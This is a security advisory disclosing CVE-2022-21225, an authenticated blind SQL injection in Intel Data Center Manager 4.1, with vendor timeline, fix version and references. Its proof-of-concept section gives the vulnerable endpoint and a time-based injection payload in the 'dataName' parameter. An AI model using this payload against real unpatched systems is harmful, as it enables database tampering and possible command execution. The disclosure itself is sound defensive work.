Intel Data Center Manager 4.1 SQL Injection

RCE Security Advisoryhttps://www.rcesecurity.com1. ADVISORY INFORMATION=======================Product:        Intel Data Center ManagerVendor URL:     https://www.intel.com/content/www/us/en/developer/tools/data-center-manager-console/overview.htmlType:           SQL Injection [CWE-89]Date found:     2022-01-21Date published: 2022-12-01CVSSv3 Score:   9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)CVE:            CVE-2022-212252. CREDITS==========This vulnerability was discovered and researched by Julien Ahrens fromRCE Security.3. VERSIONS AFFECTED====================Intel Data Center Manager 4.1 and below4. INTRODUCTION===============Energy costs are the fastest rising expense for today’s data centers. Intel® DataCenter Manager (Intel® DCM) provides real-time power and thermal consumption data,giving you the clarity you need to lower power usage, increase rack density, andprolong operation during outages.(from the vendor's homepage)5. VULNERABILITY DETAILS========================Intel DCM's endpoint at "/DcmConsole/DataAccessServlet?action=getRoomRackData" isvulnerable to an authenticated, blind SQL Injection when user-supplied input tothe HTTP POST parameter "dataName" is processed by the web application.Since the application does not properly validate and sanitize this parameter, anattacker can inject arbitrary SQL commands against the PostgreSQL backenddatabase server of the web application.Successful exploits can allow an authenticated attacker (the lowest possibleauthorization level "Guest" is sufficient) to read and modify database contentsand execute any system commands on the underlying operating system. This way,the attacker can compromise the system's entire confidentiality, integrity, andavailability.6. PROOF OF CONCEPT===================POST /DcmConsole/DataAccessServlet?action=getRoomRackData HTTP/1.1Host: [ip-address]Cookie: JSESSIONID=[session-id]Content-Length: 153Accept: application/json, text/plain, */*Content-Type: text/plainUser-Agent: Mozilla/5.0Accept-Encoding: gzip, deflateAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Connection: close{"antiCSRFId":"[your-anti-csrf-id]","requestObj":{"snapshotId":1,"roomId":1,"dataName":"test');SELECT PG_SLEEP(5)--"}}(see the referenced blog post for more details)7. SOLUTION===========Update at least to version 5.0.0.46307.8. REPORT TIMELINE==================2022-01-21: Discovery of the vulnerability2022-01-21: Reported to vendor via their bug bounty program2022-01-21: Vendor response: Sent to "appropriate reviewers"2022-02-08: Vendor acknowledges the vulnerability with a severity of "medium" without sharing their CVSS calculation2022-02-15: Endless back-and-forth discussions about the rating. Vendor proposes a rating of 6.82022-02-16: I don't accept the rating because the vendor downplayed it2022-02-25: After discussions, vendor rates issue as CVSS 9.0 (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)2022-02-25: Apparently AV:A is still wrong, but I don't have more energy to fight them. However this advisory contains the proper CVSS rating.2022-xx-xx: Vendor releases version 5.0.0.46307 which includes the fix2022-08-09: Vendor releases advisory INTEL-SA-006622022-12-01: Public disclosure9. REFERENCES==============https://www.rcesecurity.com/2022/12/from-zero-to-hero-part-2-intel-dcm-sql-injection-to-rce-cve-2022-21225/https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00662.htmlhttps://github.com/MrTuxracer/advisories